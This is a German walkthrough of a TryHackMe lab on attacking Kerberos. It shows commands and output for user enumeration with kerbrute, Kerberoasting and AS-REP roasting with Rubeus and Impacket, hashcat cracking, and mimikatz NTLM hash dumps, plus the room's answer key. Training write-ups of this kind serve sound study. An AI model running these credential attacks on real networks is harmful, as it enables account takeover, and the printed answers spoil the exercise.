Ursprünglich der letzte Raum im CompTIA Pentest+ Pfad, seit kurzem der Vorletzte. Lernen wir die Grundfunktionen von Kerberos kennen und wie wir diese ausnutzen können.

Task 1 Introduction

Alle Fragen können mit dem Erklärungstext beantwortet werden.

Frage 1:
What does TGT stand for?

Antwort 1:
Ticket Granting Ticket

Frage 2:
What does SPN stand for?

Antwort 2:
Service Principal Name

Frage 3:
What does PAC stand for?

Antwort 3:
Privilege Attribute Certificate

Frage 4:
What two services make up the KDC?

Antwort 4:
AS, TGS

Task 2 Enumeration w/ Kerbrute

Sollten wir Kerbrute noch nicht installiert haben, müssen wir das jetzt tun.

Zuerst müssen wir etwas der /etc/hosts Datei hinzufügen, dazu öffnen wir sie mit unserem Texteditor nano:

sudo nano /etc/hosts  

Wir fügen den Code ganz unten ein und schließen den Texteditor mit STRG+X und bestätigen mit Y und ENTER.

Nun laden wir die Textdatei herunter und starten Kerbrute, um die Benutzer zu enumerieren (beachtet, dass das Verzeichnis zu Kerbrute und der Textdatei bei euch anders lauten kann).

./go/bin/kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local /home/belcher/Desktop/active/User.txt
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 08/12/22 - Ronnie Flathers @ropnop

2022/08/12 11:10:02 >  Using KDC(s):
2022/08/12 11:10:02 >   CONTROLLER.local:88

2022/08/12 11:10:02 >  [+] VALID USERNAME:       administrator@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       admin1@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       admin2@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       machine2@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       httpservice@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       machine1@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       user1@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       user3@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       user2@CONTROLLER.local
2022/08/12 11:10:02 >  [+] VALID USERNAME:       sqlservice@CONTROLLER.local
2022/08/12 11:10:02 >  Done! Tested 100 usernames (10 valid) in 0.511 seconds

Frage 1:
How many total users do we enumerate?

Antwort 1:
10

Frage 2:
What is the SQL service account name?

Antwort 2:
sqlservice

Frage 3:
What is the second „machine“ account name?

Antwort 3:
machine2

Frage 4:
What is the third „user“ account name?

Antwort 4:
user3

Task 3 Harvesting & Brute-Forcing Tickets w/ Rubeus

Wir folgen der Anleitung und loggen uns via ssh auf der MACHINE ein:

ssh Administrator@MACHINE_IP

Danach bestätigen wir mit „yes“ uns geben das Passwort ein. Nun haben wir eine Shell. Wir folgen weiterhin der Anleitung.

Die Ausgabe ist viel zu lang, als dass ich sie jetzt hier posten könnte. Die Folgenden Fragen kann man aber mit der Ausgabe spielend beantworten.

Frage 1:
Which domain admin do we get a ticket for when harvesting tickets?

Antwort 1:
Administrator

Frage 2:
Which domain controller do we get a ticket for when harvesting tickets?

Antwort 2:
Controler-1

Task 4 Kerberoasting w/ Rubeus & Impacket

Es geht sofort mit Kerberoasting weiter, dafür benutzen wir Rubeus. Zuvor benötigen wir aber noch eine Passworddatei. Folgen wir weiter der Anleitung:

Die beiden Fragen fragen nach dem HTTPService und SQLService Passwort. Da wir zwei Methoden kennenlernen cracken wir ein Passwort mit jeder MEthode. Ich fange mit dem HTTPService Passwort an und kopiere dessen Hash in eine Textdatei (nur den Hash, nicht die ganzen obigen Angaben):

[*] SamAccountName         : HTTPService
[*] DistinguishedName      : CN=HTTPService,CN=Users,DC=CONTROLLER,DC=local
[*] ServicePrincipalName   : CONTROLLER-1/HTTPService.CONTROLLER.local:30222
[*] PwdLastSet             : 5/25/2020 10:39:17 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*HTTPService$CONTROLLER.local$CONTROLLER-1/HTTPService.CONTROLLER.lo 
                             cal:30222*$D08EC425D324D33AE1596217F11AB73A$EE05CE477733691D3D1C6ED7AAE9CE8C1132 
                             6B43E938A6EEC6D16D5F1D7DA8238BB6653943EF65C5BF23954FA70CF8EE66BD82BF660A9436AE20
                             F2E944CCA0191DDE4A6EA82A93A0D3FA05D33D8B82C00C24F5008D1703797171739323CE91764E7F
                             44B1EF14344B0753903E48B303A6D92A579D09E4C6FE680BEFD4DA4FD182FA021C0E6D70A2F49D10
                             70ED0BAE32EC7E12B3D5486781297457BD2A0CC07006A4F98DD5F2DC7BA078CD8B3F09BE76023557
                             8DFFC030FCC9F5A6CF1A13737A209E8FA11D2B36FBE3067F17828BFF2C1E7BD7BED9D86367047B66
                             BF2456CBDC6ED35BC8CAB569CBDB3F8965DA93D4EE82A7467A8E04C9CCA0E10413A089FBD927A290
                             814C277B5997B60D32808749FE959BD239ACEACB69CC4E33A67FBE01476D29EAC5F02DE5E44E1452
                             7806030E6E7524AA15DC3D5714BFA6D21DD522DB924124936934F9539312B661944956E76F328D97
                             513FAB62303B0EDE01966B3085E65CB56C97DC43B5BE5FB59B71C613DF05A91E0378F455135770F3
                             149493FE9B8064C33B9863174EF658E6AFCAFB707721FF78BC9EE6F85AB31DA8F002D6AAEF36FDCA
                             DFCFEEA4C9F1CB50B1DEAEBC2ED9091D1171DD8E8A67C72B59794EF468A4F75F5B48306C460C4550
                             7611D948A1182B9E95A162C7708258652848313F32FFAA34BCEB3135F4427D42DBEB0A7ECD0CFD57
                             E543C01D1701F29AC0F199EDD847CE89B13EB4D7E7D1A4EBDC895D6735148605F0F42D29FE193ED8
                             7B913F433697D4777676BDA638B59BF02236153C79D6440DE2807052EC9C923905A24788A22C60FF
                             B44B666512B66BDB4F2733ECC71D4726F2478C1EAE55D13F56422A3C29732B90A4D4304360245C2A
                             18EF34C4F1949311B159BFCED55C036377CF41DF4D867C573FB81C117C5E442D75463E580F9BC3E5
                             E931C19B6350C43FCF38592E00CE9DB8CA62CE163E269598236648A0FE594BDDA1A26B026818A826
                             D56A1A5CB98FDE5272156968A1B6E32B1E459A48C5FB06BE1F0B554F9CCCCA95E5FB094B267869CA
                             E76D23B3BD6230979C5437EB23E05A2497D8377FBDC1859874F338392E1F8E0ECDE1ACAD785EB293
                             C06DD6809C0FE9CEC8848B142DE3DB66B5E1FFF7DCA556EA8590B77AD571CBC4A3E374EB9439424D
                             13AAAA07C5E7000798B6FCEEC799BDF4A29D3B93651D547039D424BC9C007CF8559A2948C5FC4713
                             E16A37495345B28E85CC363C32DDA3A2C4949D8BA53AC4BB88CAC9C54F6473C1C001F57EFB43D30D
                             A90B85F9B6065B7EBCD1626CA6FDB384C2E8709C4E2EFF185F636953CE24B40A8146F4ED3CF109CC
                             4D3CA6E2B0FC2C9D535C0ADC9F6C14C50E260BFDC25558665BC918BE29AB32872F64DD1A5E0BE6C1
                             E95F9AF9642FB770AE51FA85A9967A3C11125E5A0B868047BF42F08C37CFDF901B18EA12FB8A41D8
                             D0A1E9A9BCAB3980B763509D8F283425EEE070D83FA702C81F6B192D8931C2E0867A3768396A097D
                             9E298EFD82FE6B9210C644DC811AFCE4178E349AA3EFCD817D9C9599A154AC9D6D8FCD4382629482
                             99E8A0B52A618F3AA231E6E3A802F20F539C85E60E1B9C6DEAC242109CE1BDF49A05FC0679015660
                             B18C1CA47A4FAA7FFFE3FC8254B69517292BCCE45AD27E1D679381CFD241

Hier noch der bereinigte Hash, da die Kopierfunktion leider sehr viele Leerstellen mitnimmt:

$krb5tgs$23$*HTTPService$CONTROLLER.local$CONTROLLER-1/HTTPService.CONTROLLER.local:30222*$D08EC425D324D33AE1596217F11AB73A$EE05CE477733691D3D1C6ED7AAE9CE8C11326B43E938A6EEC6D16D5F1D7DA8238BB6653943EF65C5BF23954FA70CF8EE66BD82BF660A9436AE20F2E944CCA0191DDE4A6EA82A93A0D3FA05D33D8B82C00C24F5008D1703797171739323CE91764E7F44B1EF14344B0753903E48B303A6D92A579D09E4C6FE680BEFD4DA4FD182FA021C0E6D70A2F49D1070ED0BAE32EC7E12B3D5486781297457BD2A0CC07006A4F98DD5F2DC7BA078CD8B3F09BE760235578DFFC030FCC9F5A6CF1A13737A209E8FA11D2B36FBE3067F17828BFF2C1E7BD7BED9D86367047B66BF2456CBDC6ED35BC8CAB569CBDB3F8965DA93D4EE82A7467A8E04C9CCA0E10413A089FBD927A290814C277B5997B60D32808749FE959BD239ACEACB69CC4E33A67FBE01476D29EAC5F02DE5E44E14527806030E6E7524AA15DC3D5714BFA6D21DD522DB924124936934F9539312B661944956E76F328D97513FAB62303B0EDE01966B3085E65CB56C97DC43B5BE5FB59B71C613DF05A91E0378F455135770F3149493FE9B8064C33B9863174EF658E6AFCAFB707721FF78BC9EE6F85AB31DA8F002D6AAEF36FDCADFCFEEA4C9F1CB50B1DEAEBC2ED9091D1171DD8E8A67C72B59794EF468A4F75F5B48306C460C45507611D948A1182B9E95A162C7708258652848313F32FFAA34BCEB3135F4427D42DBEB0A7ECD0CFD57E543C01D1701F29AC0F199EDD847CE89B13EB4D7E7D1A4EBDC895D6735148605F0F42D29FE193ED87B913F433697D4777676BDA638B59BF02236153C79D6440DE2807052EC9C923905A24788A22C60FFB44B666512B66BDB4F2733ECC71D4726F2478C1EAE55D13F56422A3C29732B90A4D4304360245C2A18EF34C4F1949311B159BFCED55C036377CF41DF4D867C573FB81C117C5E442D75463E580F9BC3E5E931C19B6350C43FCF38592E00CE9DB8CA62CE163E269598236648A0FE594BDDA1A26B026818A826D56A1A5CB98FDE5272156968A1B6E32B1E459A48C5FB06BE1F0B554F9CCCCA95E5FB094B267869CAE76D23B3BD6230979C5437EB23E05A2497D8377FBDC1859874F338392E1F8E0ECDE1ACAD785EB293C06DD6809C0FE9CEC8848B142DE3DB66B5E1FFF7DCA556EA8590B77AD571CBC4A3E374EB9439424D13AAAA07C5E7000798B6FCEEC799BDF4A29D3B93651D547039D424BC9C007CF8559A2948C5FC4713E16A37495345B28E85CC363C32DDA3A2C4949D8BA53AC4BB88CAC9C54F6473C1C001F57EFB43D30DA90B85F9B6065B7EBCD1626CA6FDB384C2E8709C4E2EFF185F636953CE24B40A8146F4ED3CF109CC4D3CA6E2B0FC2C9D535C0ADC9F6C14C50E260BFDC25558665BC918BE29AB32872F64DD1A5E0BE6C1E95F9AF9642FB770AE51FA85A9967A3C11125E5A0B868047BF42F08C37CFDF901B18EA12FB8A41D8D0A1E9A9BCAB3980B763509D8F283425EEE070D83FA702C81F6B192D8931C2E0867A3768396A097D9E298EFD82FE6B9210C644DC811AFCE4178E349AA3EFCD817D9C9599A154AC9D6D8FCD438262948299E8A0B52A618F3AA231E6E3A802F20F539C85E60E1B9C6DEAC242109CE1BDF49A05FC0679015660B18C1CA47A4FAA7FFFE3FC8254B69517292BCCE45AD27E1D679381CFD241

Starten wit also hashcat und cracken den Hash:

hashcat -m 13100 -a 0 hash1.txt Pass.txt

Und wir erhalten das erste Passwort:

--snip--
fffe3fc8254b69517292bcce45ad27e1d679381cfd241:Summer2020
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*HTTPService$CONTROLLER.local$CONTROLLE...cfd241
Time.Started.....: Fri Aug 12 11:41:08 2022 (0 secs)
Time.Estimated...: Fri Aug 12 11:41:08 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (Pass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1557.7 kH/s (0.33ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1240/1240 (100.00%)
Rejected.........: 0/1240 (0.00%)
Restore.Point....: 0/1240 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> hello123
Hardware.Mon.#1..: Temp: 67c Util: 13%

Started: Fri Aug 12 11:40:57 2022
Stopped: Fri Aug 12 11:41:09 2022

Weiter geht es mit Methode 2 und Impacket. Wie immer, einfach der Anleitung folgen und die Hashes dumpen. Der Vorteil hier ist, dass wir uns nicht auf dem Zielsystem befinden müssen:

┌──(kali㉿kali)-[~/Desktop/active]
└─$ cd /usr/share/doc/python3-impacket/examples/
                                                                                                                                                                 
┌──(kali㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─$ sudo python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.242.52 -request

Die Ausgabe ist leider sehr unübersichtlich, zum Glück ist der SQLService Hash ganz oben in der Liste:

$krb5tgs$23$*SQLService$CONTROLLER.LOCAL$controller.local/SQLService*$b4e78e1cdec10b7a84ed7ba4ae90bad5$952ced0b8862acf7ed2e81f70fb05eb57cf152317f515fd34bc69e9bf9173807ac3ae57d914596b26e7ff3deec305423505d447c28c2723c12943ffc0205860780a2717dbc7c8f0c1532fac40cede459abfcfc031d4681b2ca77eea0b98c66f157b0f9eb6684b49e40135ce9d1e5b628abdb6ddec832b4d015c00d7191c505c568dba03da41190fd02d71ceeee4935d05665926c2bbb62288d802efcbdb13f4ddedf8f940afd00197af371d9c2f4b5851eea83d4406d205b71b19a667a68044be36d9f0753042e4d290568204d6be7a266b4c7e992f9290c49732a2fabdb7a7408f8b3c7467ecf47325ae80ef5fd3595be35266bfbecd6f38324e2570aa4503b918d488b085f862f8474632aa839dde3fd7a386a1d9ae81b6d751d57ecea198934f09bae436b151d205b77fab0facc9f28ab9cbe751e6280755d2dbc1559b0c29373f075e60d03ecd9fda51d35223e9a9a657e6b5e8fa6b755979e3a3b7dd15929b84c50360a8afe1008a6f80ebbbec3b5b687a85f55f1fcd0530bd4920707dcbc902d0e99a30ab4f9774d2c77939f9d7d3d3f2d181411e27f06e84cb552afb8625284d1349d1554d25bf5221be26fafbcb8602d558211c6dd15737e6eb160c9d5e514f746ce8f23447a3d32abaa17ab16234ac37b5e190465353a9cdd567a29c0c36e03102048e19b82e1613e1a1367729927068f71982e06a3d7e844293626ab9e04881c0ff12dfc78de676a81e4f2dbc651c9cfa5160c67c2d018e8cd1199c5a2e720670a852e24d2fa338ac3df0b51b7bd24fc7a902872068868af05c2f81e1a2e6e3e9fc2512c638f337015f156d69951b41a4550ce7041a070d3efedb6f5e5ba0e6cae3de8ab6e6ff7f8577e9d917565d24428e9685ccf46110278a71d6872e06b9f052b0634fa4b259f967d6715102e156969aae2c30584290958e88298457d91b18d730aced85f751a23d777f568ee5f33c3b11bf6f7235c627f85d5f36d0510ffd914f9c95acb0b28bdfd0a1d5f78d051720c5f8f9e1fd77a5f93a6d1d2a6102aa97f08d9576ff716e16466de580ff39798b40b78f19a86a43f98aa531e33570b4f217ecf754bb3fd3ba828df0e548fdafe1bb0e906ca8f6b2568a41a3da157a034adb1c3a4caf49965978c2274585872676d341544df87d0c6fef2322ea8804c941a3e77ba4dbc2bffc8832c53da6982e19ea2d3738b3b7b53bf1617a58c176eb8ace627e0d32ffbcb4cd0d7f24866c0448003271a1d0b7c82c2422090535aab242b5ffc92f1b0528be02221bd6650127f94aa69a782d8101fe8c4ef55ac8de8d0182d209136cb0016ede8235568c129ac6cc8a1af1867f82fd09002ff215182967c4eb53f34e604b67d82bf

Auch diesen kopieren wir wieder in eine Datei und lassen hashcat cracken:

hashcat -m 13100 -a 0 hash2.txt Pass.txt
--snip--
650127f94aa69a782d8101fe8c4ef55ac8de8d0182d209136cb0016ede8235568c129ac6cc8a1af1867f82fd09002ff215182967c4eb53f34e604b67d82bf:MYPassword123#
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*SQLService$CONTROLLER.LOCAL$controller...7d82bf
Time.Started.....: Fri Aug 12 11:51:44 2022 (0 secs)
Time.Estimated...: Fri Aug 12 11:51:44 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (Pass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2212.8 kH/s (0.34ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1240/1240 (100.00%)
Rejected.........: 0/1240 (0.00%)
Restore.Point....: 0/1240 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> hello123
Hardware.Mon.#1..: Temp: 48c Util: 15%

Started: Fri Aug 12 11:51:44 2022
Stopped: Fri Aug 12 11:51:46 2022

Frage 1:
What is the HTTPService Password?

Antwort 1:
Summer2020

Frage 2:
What is the SQLService Password?

Antwort 2:
MYPassword123#

Task 5 AS-REP Roasting w/ Rubeus

Neue Methode, neuer Task. Wir folgen der Anleitung:

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>Rubeus.exe asreproast

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: AS-REP roasting

[*] Target Domain          : CONTROLLER.local 

[*] Searching path 'LDAP://CONTROLLER-1.CONTROLLER.local/DC=CONTROLLER,DC=local' for AS-REP roastable users
[*] SamAccountName         : Admin2 
[*] DistinguishedName      : CN=Admin-2,CN=Users,DC=CONTROLLER,DC=local 
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::dd59:167f:c9d4:2cf4%5) 
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\Admin2'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$Admin2@CONTROLLER.local:CD3E396709AA49FB1118003F2A469300$6EBE8B1B4223
      D729A5003C2F0F8CDC6352BA42F90B6227D3AA1E6DC23E4F9F52014D3F541834784588DA1AEFE23D
      36BC356D10BF3D5FB14994C19D2258BA54EA2A366EF80974E1A66CA7CC8AD0C84EEDDF7D7A173E35
      CB24B3627EBEC69DD5BC3AF30FBC61E4D6762818519FFD2B53C2F51AB325DD58CF8E93C411D0B827
      EB1A6C60ACEAD5CEFF1ED56509C398791765846CCA1AA9F1F422A822B6055BFEBF90FA6E79F96125
      D18E6A797C73F5CC3714F8F40DA21644113FAF2DCD5E4483E699F589B063E0A449820AA887E81145
      9E7FD0533593B023B3B605800AD8602DF4F0D50E8C4000D184944051D77BEE7B6D5982A236DE

[*] SamAccountName         : User3
[*] DistinguishedName      : CN=User-3,CN=Users,DC=CONTROLLER,DC=local
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::dd59:167f:c9d4:2cf4%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\User3'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$User3@CONTROLLER.local:C22B19FAEDD53242E33D416C2A174727$2FFB4CDD48FC3
      71094969248528940E4B14453F861446A46C7153C3064093101395B47CF16863F90CF295206B25FD
      1D0B8DE22F7A5DC14B0390DA005943D6BE51701B50E9D1AF9D4EF87E60DC40DE18DA6B42D52CA74B
      4DF761B1F94D35444526B0E32D03DE5894CCF4526357A013F6403B0C4D830F72B4F30E2302497861
      5C3216AA6D8990FEEE6CE63025FCA625ADECF1EBC4E65BA4A002D11E7B3A7C6BC7447CC7E864DE7B
      6226D675C6268B19DDBFCCD0263EED62737C3C6D24DE40FF667D6F75398A3A796C49EFC967F8FD89
      1B8D77B4D5D2EB4B71A26D11740E53F43041AA7BE4FA48EDC2931D846D0047EF964CC4200F9

Bereinigte Hashes und 23$ hinzugefügt:
Admin2:

$krb5asrep$23$Admin2@CONTROLLER.local:CD3E396709AA49FB1118003F2A469300$6EBE8B1B4223D729A5003C2F0F8CDC6352BA42F90B6227D3AA1E6DC23E4F9F52014D3F541834784588DA1AEFE23D36BC356D10BF3D5FB14994C19D2258BA54EA2A366EF80974E1A66CA7CC8AD0C84EEDDF7D7A173E35CB24B3627EBEC69DD5BC3AF30FBC61E4D6762818519FFD2B53C2F51AB325DD58CF8E93C411D0B827EB1A6C60ACEAD5CEFF1ED56509C398791765846CCA1AA9F1F422A822B6055BFEBF90FA6E79F96125D18E6A797C73F5CC3714F8F40DA21644113FAF2DCD5E4483E699F589B063E0A449820AA887E811459E7FD0533593B023B3B605800AD8602DF4F0D50E8C4000D184944051D77BEE7B6D5982A236DE

User3:

$krb5asrep$23$User3@CONTROLLER.local:C22B19FAEDD53242E33D416C2A174727$2FFB4CDD48FC371094969248528940E4B14453F861446A46C7153C3064093101395B47CF16863F90CF295206B25FD1D0B8DE22F7A5DC14B0390DA005943D6BE51701B50E9D1AF9D4EF87E60DC40DE18DA6B42D52CA74B4DF761B1F94D35444526B0E32D03DE5894CCF4526357A013F6403B0C4D830F72B4F30E23024978615C3216AA6D8990FEEE6CE63025FCA625ADECF1EBC4E65BA4A002D11E7B3A7C6BC7447CC7E864DE7B6226D675C6268B19DDBFCCD0263EED62737C3C6D24DE40FF667D6F75398A3A796C49EFC967F8FD891B8D77B4D5D2EB4B71A26D11740E53F43041AA7BE4FA48EDC2931D846D0047EF964CC4200F9

hashcat -m 18200 admin2.txt Pass.txt

--snip--
9e7fd0533593b023b3b605800ad8602df4f0d50e8c4000d184944051d77bee7b6d5982a236de:P@$$W0rd2
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$Admin2@CONTROLLER.local:cd3e396709aa4...a236de
Time.Started.....: Fri Aug 12 12:06:20 2022 (0 secs)
Time.Estimated...: Fri Aug 12 12:06:20 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (Pass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1486.4 kH/s (0.39ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1240/1240 (100.00%)
Rejected.........: 0/1240 (0.00%)
Restore.Point....: 0/1240 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> hello123
Hardware.Mon.#1..: Temp: 47c Util: 13%

Started: Fri Aug 12 12:06:20 2022
Stopped: Fri Aug 12 12:06:22 2022

hashcat -m 18200 user3.txt Pass.txt

--snip--
1b8d77b4d5d2eb4b71a26d11740e53f43041aa7be4fa48edc2931d846d0047ef964cc4200f9:Password3
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$User3@CONTROLLER.local:c22b19faedd532...4200f9
Time.Started.....: Fri Aug 12 12:08:13 2022 (0 secs)
Time.Estimated...: Fri Aug 12 12:08:13 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (Pass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2325.8 kH/s (0.33ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1240/1240 (100.00%)
Rejected.........: 0/1240 (0.00%)
Restore.Point....: 0/1240 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> hello123
Hardware.Mon.#1..: Temp: 48c Util: 13%

Started: Fri Aug 12 12:08:12 2022
Stopped: Fri Aug 12 12:08:15 2022

Frage 1:
What hash type does AS-REP Roasting use?

Wir haben ja den Code für die Methode mitbekommen (18200), jetzt schlagen wir diesen hier nach:

Antwort 1:
Kerberos 5, etype 23, AS-REP

Frage 2:
Which User is vulnerable to AS-REP Roasting?

Antwort 2:
User3

Frage 3:
What is the User’s Password?

Antwort 3:
Password3

Frage 4:
Which Admin is vulnerable to AS-REP Roasting?

Antwort 4:
Admin2

Frage 5:
What is the Admin’s Password?

Antwort 5:
P@$$W0rd2

Task 6 Pass the Ticket w/ mimikatz

Hier wird erklärt wie man Tickets eines anderen Users benutzt, um sich für diesen auszugeben. Leider untestützt THM diese Art von Simulation nicht und so muss man das in seinem eigenen Lab simulieren. HIer gibts ein keine Fragen zu beantworten.

Task 7 Golden/Silver Ticket Attacks w/ mimikatz

Wieder ein sehr theorielastiger Task, aber ein sehr wichtiger und spannender zugleich. Hier lernen wir die Ticketerstellung mit mimikatz.

Frage 1:
What is the SQLService NTLM Hash?

Um diesen Hash zu bekommen mpssen wir den vorgegebenen Befehl aus dem Task ändern:

lsadump::lsa /inject /name:SQLService 
mimikatz # lsadump::lsa /inject /name:SQLService  
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 

RID  : 00000455 (1109)
User : SQLService

 * Primary
    NTLM : cd40c9ed96265531b21fc5b1dafcfb0a
    LM   :
  Hash NTLM: cd40c9ed96265531b21fc5b1dafcfb0a
    ntlm- 0: cd40c9ed96265531b21fc5b1dafcfb0a
    lm  - 0: 7bb53f77cde2f49c17190f7a071bd3a0
--snip--

Antwort 1:
cd40c9ed96265531b21fc5b1dafcfb0a

Frage 2:
What is the Administrator NTLM Hash?

Selbes Spiel, anderer Benutzername:

lsadump::lsa /inject /name:Administrator 
mimikatz # lsadump::lsa /inject /name:Administrator  
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 

RID  : 000001f4 (500)
User : Administrator

 * Primary
    NTLM : 2777b7fec870e04dda00cd7260f7bee6
    LM   :  
  Hash NTLM: 2777b7fec870e04dda00cd7260f7bee6
--snip--

Antwort 2:
2777b7fec870e04dda00cd7260f7bee6

Task 8 Kerberos Backdoors w/ mimikatz

Wie Task 6, nur lesen und verstehen!

Task 9 Conclusion

Hier werden uns noch viele nützliche Links mitgegeben:

https://medium.com/@t0pazg3m/pass-the-ticket-ptt-attack-in-mimikatz-and-a-gotcha-96a5805e257a

https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1

https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://www.varonis.com/blog/kerberos-authentication-explained/

https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don’t-Get-It-wp.pdf

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493862736.pdf

https://www.redsiege.com/wp-content/uploads/2020/04/20200430-kerb101.pdf

Zum Schluß öffnen wir unsere hosts Datei und löschen die hinzugefügte Zeile.

sudo nano /etc/hosts